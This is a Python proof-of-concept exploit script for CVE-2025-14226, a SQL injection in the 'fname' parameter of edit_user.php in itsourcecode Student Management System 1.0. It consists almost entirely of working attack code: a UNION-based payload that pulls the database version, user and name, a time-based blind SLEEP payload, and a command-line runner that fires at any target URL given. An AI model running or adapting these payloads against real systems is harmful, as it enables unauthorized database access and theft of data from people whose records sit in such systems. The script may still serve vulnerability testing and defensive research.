import requests
import sys
# CVE-2025-14226 PoC - itsourcecode Student Management System SQL Injection
# Target: edit_user.php fname parameter
def exploit_sqli(url, target_user_id):
"""
SQL Injection PoC for CVE-2025-14226
Target: itsourcecode Student Management System 1.0
Vulnerable Parameter: fname in /edit_user.php
"""
# Target URL
target_url = f"{url}/edit_user.php"
# Payload for SQL Injection (UNION-based extraction)
# Extract database version, user, and current database
payload = "' UNION SELECT 1,version(),user(),database(),5,6,7,8,9,10,11,12,13,14,15---"
# Prepare request data
data = {
'fname': payload,
'id': target_user_id,
'btn_sub': '1'
}
print(f"[*] Targeting: {target_url}")
print(f"[*] Payload: {payload}")
try:
response = requests.post(target_url, data=data, timeout=10)
if response.status_code == 200:
print(f"[+] Request sent successfully")
print(f"[*] Response length: {len(response.text)}")
# Check for database info in response
if '5.7' in response.text or '8.0' in response.text or 'MariaDB' in response.text:
print("[+] SQL Injection successful - Database version detected!")
return True
else:
print("[-] SQL Injection may have failed - No obvious data leak")
return False
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")
return False
def blind_sqli_time_based(url, target_user_id):
"""
Time-based blind SQL injection alternative
Use when UNION-based injection fails
"""
# Time-based payload - causes 5 second delay if vulnerable
payload = "' AND SLEEP(5)---"
data = {
'fname': payload,
'id': target_user_id,
'btn_sub': '1'
}
print(f"[*] Testing time-based blind SQLi...")
try:
import time
start = time.time()
response = requests.post(url, data=data, timeout=15)
elapsed = time.time() - start
if elapsed >= 5:
print(f"[+] Time-based SQL Injection confirmed! Delay: {elapsed}s")
return True
else:
print(f"[-] No time delay detected")
return False
except Exception as e:
print(f"[-] Error: {e}")
return False
if __name__ == "__main__":
if len(sys.argv) < 3:
print("Usage: python cve-2025-14226.py <target_url> <user_id>")
print("Example: python cve-2025-14226.py http://target.com 1")
sys.exit(1)
target_url = sys.argv[1].rstrip('/')
user_id = sys.argv[2]
print("=" * 60)
print("CVE-2025-14226 SQL Injection PoC")
print("Target: itsourcecode Student Management System 1.0")
print("Vulnerability: SQL Injection in /edit_user.php fname parameter")
print("=" * 60)
# Try UNION-based injection
exploit_sqli(target_url, user_id)
print("\n[*] PoC execution completed")